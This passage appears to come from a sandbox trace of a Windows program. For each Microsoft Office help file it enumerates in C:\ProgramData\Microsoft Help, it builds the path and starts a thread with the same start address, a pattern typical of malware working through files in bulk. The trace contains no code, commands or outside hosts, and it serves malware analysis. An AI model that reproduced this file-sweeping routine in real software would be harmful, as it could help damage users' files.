_Source="MS.INFOPATHEDITOR.14.1033.hxn" | out: _Dest="C:\\ProgramData\\Microsoft Help\\MS.INFOPATHEDITOR.14.1033.hxn") returned="C:\\ProgramData\\Microsoft Help\\MS.INFOPATHEDITOR.14.1033.hxn" [0051.403] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x12e07f18, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x414 [0051.404] FindNextFileW (in: hFindFile=0x4402e0, lpFindFileData=0x445968 | out: lpFindFileData=0x445968*(dwFileAttributes=0x2022, ftCreationTime.dwLowDateTime=0x15f8e210, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x15f8e210, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1604c8f0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x158, dwReserved0=0x0, dwReserved1=0x0, cFileName="MS.MSACCESS.14.1033.hxn", cAlternateFileName="MSMSAC~1.HXN")) returned 1 [0051.404] wcscmp (_String1="MS.MSACCESS.14.1033.hxn", _String2=".") returned 1 [0051.404] wcscmp (_String1="MS.MSACCESS.14.1033.hxn", _String2="..") returned 1 [0051.405] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x6c) returned 0x5ed5670 [0051.405] wcscpy (in: _Dest=0x5ed5670, _Source="C:\\ProgramData\\Microsoft Help" | out: _Dest="C:\\ProgramData\\Microsoft Help") returned="C:\\ProgramData\\Microsoft Help" [0051.405] wcscat (in: _Dest=0x5ed5670, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft Help\\") returned="C:\\ProgramData\\Microsoft Help\\" [0051.405] wcscat (in: _Dest=0x5ed5670, _Source="MS.MSACCESS.14.1033.hxn" | out: _Dest="C:\\ProgramData\\Microsoft Help\\MS.MSACCESS.14.1033.hxn") returned="C:\\ProgramData\\Microsoft Help\\MS.MSACCESS.14.1033.hxn" [0051.405] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x5ed5670, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x38c [0051.406] FindNextFileW (in: hFindFile=0x4402e0, lpFindFileData=0x445968 | out: lpFindFileData=0x445968*(dwFileAttributes=0x2022, ftCreationTime.dwLowDateTime=0x15f8e210, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x15f8e210, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1604c8f0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x170, dwReserved0=0x0, dwReserved1=0x0, cFileName="MS.MSACCESS.DEV.14.1033.hxn", cAlternateFileName="MSMSAC~2.HXN")) returned 1 [0051.406] wcscmp (_String1="MS.MSACCESS.DEV.14.1033.hxn", _String2=".") returned 1 [0051.406] wcscmp (_String1="MS.MSACCESS.DEV.14.1033.hxn", _String2="..") returned 1 [0051.406] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x74) returned 0x12e07f98 [0051.406] wcscpy (in: _Dest=0x12e07f98, _Source="C:\\ProgramData\\Microsoft Help" | out: _Dest="C:\\ProgramData\\Microsoft Help") returned="C:\\ProgramData\\Microsoft Help" [0051.407] wcscat (in: _Dest=0x12e07f98, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft Help\\") returned="C:\\ProgramData\\Microsoft Help\\" [0051.407] wcscat (in: _Dest=0x12e07f98, _Source="MS.MSACCESS.DEV.14.1033.hxn" | out: _Dest="C:\\ProgramData\\Microsoft Help\\MS.MSACCESS.DEV.14.1033.hxn") returned="C:\\ProgramData\\Microsoft Help\\MS.MSACCESS.DEV.14.1033.hxn" [0051.407] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x12e07f98, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x50c [0051.408] FindNextFileW (in: hFindFile=0x4402e0, lpFindFileData=0x445968 | out: lpFindFileData=0x445968*(dwFileAttributes=0x2022, ftCreationTime.dwLowDateTime=0xef377f10, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xef377f10, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xef3ea330, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x146, dwReserved0=0x0, dwReserved1=0x0, cFileName="MS.MSOUC.14.1033.hxn", cAlternateFileName="MSMSOU~1.HXN")) returned 1 [0051.408] wcscmp (_String1="MS.MSOUC.14.1033.hxn", _String2=".") returned 1 [0051.408] wcscmp (_String1="MS.MSOUC.14.1033.hxn", _String2="..") returned 1 [0051.408] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x66) returned 0x43c0f0 [0051.408] wcscpy (in: _Dest=0x43c0f0, _Source="C:\\ProgramData\\Microsoft Help" | out: _Dest="C:\\ProgramData\\Microsoft Help") returned="C:\\ProgramData\\Microsoft Help" [0051.408] wcscat (in: _Dest=0x43c0f0, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft Help\\") returned="C:\\ProgramData\\Microsoft Help\\" [0051.408] wcscat (in: _Dest=0x43c0f0, _Source="MS.MSOUC.14.1033.hxn" | out: _Dest="C:\\ProgramData\\Microsoft Help\\MS.MSOUC.14.1033.hxn") returned="C:\\ProgramData\\Microsoft Help\\MS.MSOUC.14.1033.hxn" [0051.408] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x43c0f0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x69c [0051.411] FindNextFileW (in: hFindFile=0x4402e0, lpFindFileData=0x445968 | out: lpFindFileData=0x445968*(dwFileAttributes=0x2022, ftCreationTime.dwLowDateTime=0x1beeb370, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x1beeb370, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1bf5d790, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x146, dwReserved0=0x0, dwReserved1=0x0, cFileName="MS.MSPUB.14.1033.hxn", cAlternateFileName="MSMSPU~1.HXN")) returned 1 [0051.411] wcscmp (_String1="MS.MSPUB.14.1033.hxn", _String2=".") returned 1 [0051.411] wcscmp (_String1="MS.MSPUB.14.1033.hxn", _String2="..") returned 1 [0051.411] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x66) returned 0x43c1d0 [0051.411] wcscpy (in: _Dest=0x43c1d0, _Source="C:\\ProgramData\\Microsoft Help" | out: _Dest="C:\\ProgramData\\Microsoft Help") returned="C:\\ProgramData\\Microsoft Help" [0051.411] wcscat (in: _Dest=0x43c1d0, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft Help\\") returned="C:\\ProgramData\\Microsoft Help\\" [0051.411] wcscat (in: _Dest=0x43c1d0, _Source="MS.MSPUB.14.1033.hxn" | out: _Dest="C:\\ProgramData\\Microsoft Help\\MS.MSPUB.14.1033.hxn") returned="C:\\ProgramData\\Microsoft Help\\MS.MSPUB.14.1033.hxn" [0051.411] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x43c1d0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x344 [0051.413] FindNextFileW (in: hFindFile=0x4402e0, lpFindFileData=0x445968 | out: lpFindFileData=0x445968*(dwFileAttributes=0x2022, ftCreationTime.dwLowDateTime=0x1beeb370, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x1beeb370, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1bf5d790, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x15e, dwReserved0=0x0, dwReserved1=0x0, cFileName="MS.MSPUB.DEV.14.1033.hxn", cAlternateFileName="MSMSPU~2.HXN")) returned 1 [0051.413] wcscmp (_String1="MS.MSPUB.DEV.14.1033.hxn", _String2=".") returned 1 [0051.413] wcscmp (_String1="MS.MSPUB.DEV.14.1033.hxn", _String2="..") returned 1 [0051.413] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x6e) returned 0x5ed56e8 [0051.413] wcscpy (in: _Dest=0x5ed56e8, _Source="C:\\ProgramData\\Microsoft Help" | out: _Dest="C:\\ProgramData\\Microsoft Help") returned="C:\\ProgramData\\Microsoft Help" [0051.413] wcscat (in: _Dest=0x5ed56e8, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft Help\\") returned="C:\\ProgramData\\Microsoft Help\\" [0051.413] wcscat (in: _Dest=0x5ed56e8, _Source="MS.MSPUB.DEV.14.1033.hxn" | out: _Dest="C:\\ProgramData\\Microsoft Help\\MS.MSPUB.DEV.14.1033.hxn") returned="C:\\ProgramData\\Microsoft Help\\MS.MSPUB.DEV.14.1033.hxn" [0051.413] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x5ed56e8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x340 [0051.414] FindNextFileW (in: hFindFile=0x4402e0, lpFindFileData=0x445968 | out: lpFindFileData=0x445968*(dwFileAttributes=0x2022, ftCreationTime.dwLowDateTime=0xef377f10, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xef377f10, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xef3ea330, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x14c, dwReserved0=0x0, dwReserved1=0x0, cFileName="MS.MSTORE.14.1033.hxn", cAlternateFileName="MSMSTO~1.HXN")) returned 1 [0051.414] wcscmp (_String1="MS.MSTORE.14.1033.hxn", _String2=".") returned 1 [0051.414] wcscmp (_String1="MS.MSTORE.14.1033.hxn", _String2="..") returned 1 [0051.414] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x68) returned 0x43c240 [0051.414] wcscpy (in: _Dest=0x43c240, _Source="C:\\ProgramData\\Microsoft Help" | out: _Dest="C:\\ProgramData\\Microsoft Help") returned="C:\\ProgramData\\Microsoft Help" [0051.414] wcscat (in: _Dest=0x43c240, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft Help\\") returned="C:\\ProgramData\\Microsoft Help\\" [0051.414] wcscat (in: _Dest=0x43c240, _Source="MS.MSTORE.14.1033.hxn" | out: _Dest="C:\\ProgramData\\Microsoft Help\\MS.MSTORE.14.1033.hxn") returned="C:\\ProgramData\\Microsoft Help\\MS.MSTORE.14.1033.hxn" [0051.414] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x43c240, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x318 [0051.415] FindNextFileW (in: hFindFile=0x4402e0, lpFindFileData=0x445968 | out: lpFindFileData=0x445968*(dwFileAttributes=0x2022, ftCreationTime.dwLowDateTime=0xef377f10, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xef377f10, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xef3ea330, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x13a, dwReserved0=0x0, dwReserved1=0x0, cFileName="MS.OIS.14.1033.hxn", cAlternateFileName="MSOIS1~1.HXN")) returned 1 [0051.415] wcscmp (_String1="MS.OIS.14.1033.hxn", _String2=".") returned 1 [0051.415] wcscmp (_String1="MS.OIS.14.1033.hxn", _String2="..") returned 1 [0051.415] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x62) returned 0x43c2b0 [0051.415] wcscpy (in: _Dest=0x43c2b0, _Source="C:\\ProgramData\\Microsoft Help" | out: _Dest="C:\\ProgramData\\Microsoft Help") returned="C:\\ProgramData\\Microsoft Help" [0051.415] wcscat (in: _Dest=0x43c2b0, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft Help\\") returned="C:\\ProgramData\\Microsoft Help\\" [0051.415] wcscat (in: _Dest=0x43c2b0, _Source="MS.OIS.14.1033.hxn" | out: _Dest="C:\\ProgramData\\Microsoft Help\\MS.OIS.14.1033.hxn") returned="C:\\ProgramData\\Microsoft Help\\MS.OIS.14.1033.hxn" [0051.416] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x43c2b0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x30c [0051.417] FindNextFileW (in: hFindFile=0x4402e0, lpFindFileData=0x445968 | out: lpFindFileData=0x445968*(dwFileAttributes=0x2022, ftCreationTime.dwLowDateTime=0xc997810, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xc997810, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc9e3ad0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x152, dwReserved0=0x0, dwReserved1=0x0, cFileName="MS.ONENOTE.14.1033.hxn", cAlternateFileName="MSONEN~1.HXN")) returned 1 [0051.417] wcscmp (_String1="MS.ONENOTE.14.1033.hxn", _String2=".") returned 1 [0051.417] wcscmp (_String1="MS.ONENOTE.14.1033.hxn", _String2="..") returned 1 [0051.417] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x6a) returned 0x5ed5760 [0051.417] wcscpy (in: _Dest=0x5ed5760, _Source="C:\\ProgramData\\Microsoft Help" | out: _Dest="C:\\ProgramData\\Microsoft Help") returned="C:\\ProgramData\\Microsoft Help" [0051.417] wcscat (in: _Dest=0x5ed5760, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft Help\\") returned="C:\\ProgramData\\Microsoft Help\\" [0051.417] wcscat (in: _Dest=0x5ed5760, _Source="MS.ONENOTE.14.1033.hxn" | out: _Dest="C:\\ProgramData\\Microsoft Help\\MS.ONENOTE.14.1033.hxn") returned="C:\\ProgramData\\Microsoft Help\\MS.ONENOTE.14.1033.hxn" [0051.417] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x5ed5760, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x308 [0051.418] FindNextFileW (in: hFindFile=0x4402e0, lpFindFileData=0x445968 | out: lpFindFileData=0x445968*(dwFileAttributes=0x2022, ftCreationTime.dwLowDateTime=0x25328b0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x25328b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x2689510, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x152, dwReserved0=0x0, dwReserved1=0x0, cFileName="MS.OUTLOOK.14.1033.hxn", cAlternateFileName="MSOUTL~1.HXN")) returned 1 [0051.418] wcscmp (_String1="MS.OUTLOOK.14.1033.hxn", _String2=".") returned 1 [0051.418] wcscmp (_String1="MS.OUTLOOK.14.1033.hxn", _String2="..") returned 1 [0051.418] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x6a) returned 0x5ed57d8 [0051.418] wcscpy (in: _Dest=0x5ed57d8, _Source="C:\\ProgramData\\Microsoft Help" | out: _Dest="C:\\ProgramData\\Microsoft Help") returned="C:\\ProgramData\\Microsoft Help" [0051.419] wcscat (in: _Dest=0x5ed57d8, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft Help\\") returned="C:\\ProgramData\\Microsoft Help\\" [0051.419] wcscat (in: _Dest=0x5ed57d8, _Source="MS.OUTLOOK.14.1033.hxn" | out: _Dest="C:\\ProgramData\\Microsoft Help\\MS.OUTLOOK.14.1033.hxn") returned="C:\\ProgramData\\Microsoft Help\\MS.OUTLOOK.14.1033.hxn" [0051.419] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x5ed57d8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x524 [0051.422] FindNextFileW (in: hFindFile=0x4402e0, lpFindFileData=0x445968 | out: lpFindFileData=0x445968*(dwFileAttributes=0x2022, ftCreationTime.dwLowDateTime=0x25328b0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x25328b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x26af670, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x16a, dwReserved0=0x0, dwReserved1=0x0, cFileName="MS.OUTLOOK.DEV.14.1033.hxn", cAlternateFileName="MSOUTL~2.HXN")) returned 1 [0051.422] wcscmp (_String1="MS.OUTLOOK.DEV.14.1033.hxn", _String2=".") returned 1 [0051.422] wcscmp (_String1="MS.OUTLOOK.DEV.14.1033.hxn", _String2="..") returned 1 [0051.422] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x72) returned 0x12e08018 [0051.422] wcscpy (in: _Dest=0x12e08018, _Source="C:\\ProgramData\\Microsoft Help" | out: _Dest="C:\\ProgramData\\Microsoft Help") returned="C:\\ProgramData\\Microsoft Help" [0051.422] wcscat (in: _Dest=0x12e08018, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft Help\\") returned="C:\\ProgramData\\Microsoft Help\\" [0051.423] wcscat (in: _Dest=0x12e08018, _Source="MS.OUTLOOK.DEV.14.1033.hxn" | out: _Dest="C:\\ProgramData\\Microsoft Help\\MS.OUTLOOK.DEV.14.1033.hxn") returned="C:\\ProgramData\\Microsoft Help\\MS.OUTLOOK.DEV.14.1033.hxn" [0051.423] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x12e08018, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xc80 [0051.424] FindNextFileW (in: hFindFile=0x4402e0, lpFindFileData=0x445968 | out: lpFindFileData=0x445968*(dwFileAttributes=0x2022, ftCreationTime.dwLowDateTime=0xf5fa06b0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xf5fa06b0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xf5fec970, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x158, dwReserved0=0x0, dwReserved1=0x0, cFileName="MS.POWERPNT.14.1033.hxn", cAlternateFileName="MSPOWE~1.HXN")) returned 1 [0051.424] wcscmp (_String1="MS.POWERPNT.14.1033.hxn", _String2=".") returned 1 [0051.424] wcscmp (_String1="MS.POWERPNT.14.1033.hxn", _String2="..") returned 1 [0051.424] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x6c) returned 0x5ed5850 [0051.424] wcscpy (in: _Dest=0x5ed5850, _Source="C:\\ProgramData\\Microsoft Help" | out: _Dest="C:\\ProgramData\\Microsoft Help") returned="C:\\ProgramData\\Microsoft Help" [0051.424] wcscat (in: _Dest=0x5ed5850, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft Help\\") returned="C:\\ProgramData\\Microsoft Help\\" [0051.424] wcscat (in: _Dest=0x5ed5850, _Source="MS.POWERPNT.14.1033.hxn" | out: _Dest="C:\\ProgramData\\Microsoft Help\\MS.POWERPNT.14.1033.hxn") returned="C:\\ProgramData\\Microsoft Help\\MS.POWERPNT.14.1033.hxn" [0051.424] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x5ed5850, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x674 [0051.425] FindNextFileW (in: hFindFile=0x4402e0, lpFindFileData=0x445968 | out: lpFindFileData=0x445968*(dwFileAttributes=0x2022, ftCreationTime.dwLowDateTime=0xf5fa06b0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xf5fa06b0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xf5fec970, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x170, dwReserved0=0x0, dwReserved1=0x0, cFileName="MS.POWERPNT.DEV.14.1033.hxn", cAlternateFileName="MSPOWE~2.HXN")) returned 1 [0051.425] wcscmp (_String1="MS.POWERPNT.DEV.14.1033.hxn", _String2=".") returned 1 [0051.425] wcscmp (_String1="MS.POWERPNT.DEV.14.1033.hxn", _String2="..") returned 1 [0051.425] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x74) returned 0x12e08098 [0051.425] wcscpy (in: _Dest=0x12e08098, _Source="C:\\ProgramData\\Microsoft Help" | out: _Dest="C:\\ProgramData\\Microsoft Help") returned="C:\\ProgramData\\Microsoft Help" [0051.425] wcscat (in: _Dest=0x12e08098, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft Help\\") returned="C:\\ProgramData\\Microsoft Help\\" [0051.425] wcscat (in: _Dest=0x12e08098, _Source="MS.POWERPNT.DEV.14.1033.hxn" | out: _Dest="C:\\ProgramData\\Microsoft Help\\MS.POWERPNT.DEV.14.1033.hxn") returned="C:\\ProgramData\\Microsoft Help\\MS.POWERPNT.DEV.14.1033.hxn" [0051.425] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x12e08098, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x7b0 [0051.427] FindNextFileW (in: hFindFile=0x4402e0, lpFindFileData=0x445968 | out: lpFindFileData=0x445968*(dwFileAttributes=0x2022, ftCreationTime.dwLowDateTime=0xef377f10, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xef377f10, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xef3ea330, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x152, dwReserved0=0x0, dwReserved1=0x0, cFileName="MS.SETLANG.14.1033.hxn", cAlternateFileName="MSSETL~1.HXN")) returned 1 [0051.427] wcscmp (_String1="MS.SETLANG.14.1033.hxn", _String2=".") returned 1 [0051.427] wcscmp (_String1="MS.SETLANG.14.1033.hxn", _String2="..") returned 1 [0051.427] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x6a) returned 0x5ed58c8 [0051.427] wcscpy (in: _Dest=0x5ed58c8, _Source="C:\\ProgramData\\Microsoft Help" | out: _Dest="C:\\ProgramData\\Microsoft Help") returned="C:\\ProgramData\\Microsoft Help" [0051.427] wcscat (in: _Dest=0x5ed58c8, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft Help\\") returned="C:\\ProgramData\\Microsoft Help\\" [0051.427] wcscat (in: _Dest=0x5ed58c8, _Source="MS.SETLANG.14.1033.hxn" | out: _Dest="C:\\ProgramData\\Microsoft Help\\MS.SETLANG.14.1033.hxn") returned="C:\\ProgramData\\Microsoft Help\\MS.SETLANG.14.1033.hxn" [0051.427] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x5ed58c8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x7b4 [0051.428] FindNextFileW (in: hFindFile=0x4402e0, lpFindFileData=0x445968 | out: lpFindFileData=0x445968*(dwFileAttributes=0x2022, ftCreationTime.dwLowDateTime=0x523a6340, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0x523a6340, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x5269fec0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x146, dwReserved0=0x0, dwReserved1=0x0, cFileName="MS.VISIO.14.1033.hxn", cAlternateFileName="MSVISI~1.HXN")) returned 1 [0051.428] wcscmp (_String1="MS.VISIO.14.1033.hxn", _String2=".") returned 1 [0051.428] wcscmp (_String1="MS.VISIO.14.1033.hxn", _String2="..") returned 1 [0051.428] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x66) returned 0x43c320 [0051.428] wcscpy (in: _Dest=0x43c320, _Source="C:\\ProgramData\\Microsoft Help" | out: _Dest="C:\\ProgramData\\Microsoft Help") returned="C:\\ProgramData\\Microsoft Help" [0051.428] wcscat (in: _Dest=0x43c320, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft Help\\") returned="C:\\ProgramData\\Microsoft Help\\" [0051.428] wcscat (in: _Dest=0x43c320, _Source="MS.VISIO.14.1033.hxn" | out: _Dest="C:\\ProgramData\\Microsoft Help\\MS.VISIO.14.1033.hxn") returned="C:\\ProgramData\\Microsoft Help\\MS.VISIO.14.1033.hxn" [0051.428] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x43c320, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x668 [0051.430] FindNextFileW (in: hFindFile=0x4402e0, lpFindFileData=0x445968 | out: lpFindFileData=0x445968*(dwFileAttributes=0x2022, ftCreationTime.dwLowDateTime=0x523a6340, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0x523a6340, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x527122e0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x15e, dwReserved0=0x0, dwReserved1=0x0, cFileName="MS.VISIO.DEV.14.1033.hxn", cAlternateFileName="MSVISI~3.HXN")) returned 1 [0051.430] wcscmp (_String1="MS.VISIO.DEV.14.1033.hxn", _String2=".") returned 1 [0051.430] wcscmp (_String1="MS.VISIO.DEV.14.1033.hxn", _String2="..") returned 1 [0051.430] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x6e) returned 0x5ed5940 [0051.430] wcscpy (in: _Dest=0x5ed5940, _Source="C:\\ProgramData\\Microsoft Help" | out: _Dest="C:\\ProgramData\\Microsoft Help") returned="C:\\ProgramData\\Microsoft Help" [0051.430] wcscat (in: _Dest=0x5ed5940, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft Help\\") returned="C:\\ProgramData\\Microsoft Help\\" [0051.430] wcscat (in: _Dest=0x5ed5940, _Source="MS.VISIO.DEV.14.1033.hxn" | out: _Dest="C:\\ProgramData\\Microsoft Help\\MS.VISIO.DEV.14.1033.hxn") returned="C:\\ProgramData\\Microsoft Help\\MS.VISIO.DEV.14.1033.hxn" [0051.430] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x5ed5940, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x444 [0051.431] FindNextFileW (in: hFindFile=0x4402e0, lpFindFileData=0x445968 | out: lpFindFileData=0x445968*(dwFileAttributes=0x2022, ftCreationTime.dwLowDateTime=0x523a6340, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0x523a6340, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x52738440, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x188, dwReserved0=0x0, dwReserved1=0x0, cFileName="MS.VISIO.SHAPESHEET.14.1033.hxn", cAlternateFileName="MSVISI~4.HXN")) returned 1 [0051.431] wcscmp (_String1="MS.VISIO.SHAPESHEET.14.1033.hxn", _String2=".") returned 1 [0051.431] wcscmp (_String1="MS.VISIO.SHAPESHEET.14.1033.hxn", _String2="..") returned 1 [0051.431] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x7c) returned 0x447298 [0051.431] wcscpy (in: _Dest=0x447298, _Source="C:\\ProgramData\\Microsoft Help" | out: _Dest="C:\\ProgramData\\Microsoft Help") returned="C:\\ProgramData\\Microsoft Help" [0051.431] wcscat (in: _Dest=0x447298, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft Help\\") returned="C:\\ProgramData\\Microsoft Help\\" [0051.431] wcscat (in: _Dest=0x447298, _Source="MS.VISIO.SHAPESHEET.14.1033.hxn" | out: _Dest="C:\\ProgramData\\Microsoft Help\\MS.VISIO.SHAPESHEET.14.1033.hxn") returned="C:\\ProgramData\\Microsoft Help\\MS.VISIO.SHAPESHEET.14.1033.hxn" [0051.431] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x447298, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x26c [0051.432] FindNextFileW (in: hFindFile=0x4402e0, lpFindFileData=0x445968 | out: 